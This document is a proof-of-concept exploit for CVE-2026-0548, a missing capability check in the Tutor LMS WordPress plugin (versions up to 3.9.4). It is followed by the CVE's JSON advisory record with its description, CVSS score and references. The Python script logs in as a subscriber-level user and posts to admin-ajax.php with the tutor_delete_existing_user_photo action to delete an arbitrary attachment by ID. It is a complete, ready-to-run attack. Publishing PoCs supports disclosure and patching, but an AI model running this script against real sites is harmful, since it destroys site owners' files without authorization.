CVE-2026-0548

# CVE-2026-0548 PoC - Tutor LMS Unauthorized Attachment Deletion # Affected Version: <= 3.9.4 # Authentication Required: Subscriber level or higher import requests import sys target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "user_password" # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Exploit the vulnerability - Delete arbitrary attachment # Replace ATTACHMENT_ID with the target attachment ID to delete attachment_id = 123 # Target attachment ID exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "tutor_delete_existing_user_photo", "attachment_id": attachment_id } response = session.post(exploit_url, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Attachment deletion request sent successfully") else: print("[-] Exploitation failed")

{"cve": {"id": "CVE-2026-0548", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:20:06.687", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized attachment deletion due to a missing capability check on the `delete_existing_user_photo` function in all versions up to, and including, 3.9.4. This makes it possible for authenticated attackers, with subscriber level access and above, to delete arbitrary attachments on the site."}, {"lang": "es", "value": "El plugin de solución de eLearning y cursos en línea Tutor LMS para WordPress es vulnerable a la eliminación no autorizada de adjuntos debido a una comprobación de capacidad faltante en la función 'delete_existing_user_photo' en todas las versiones hasta la 3.9.4, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel de suscriptor y superior, eliminen adjuntos arbitrarios en el sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/tutor/tags/3.9.4/classes/User.php&new_path=/tutor/tags/3.9.5/classes/User.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e475e02-494a-4ad0-a83c-d027c3a32989?source=cve", "source": "[email protected]"}]}}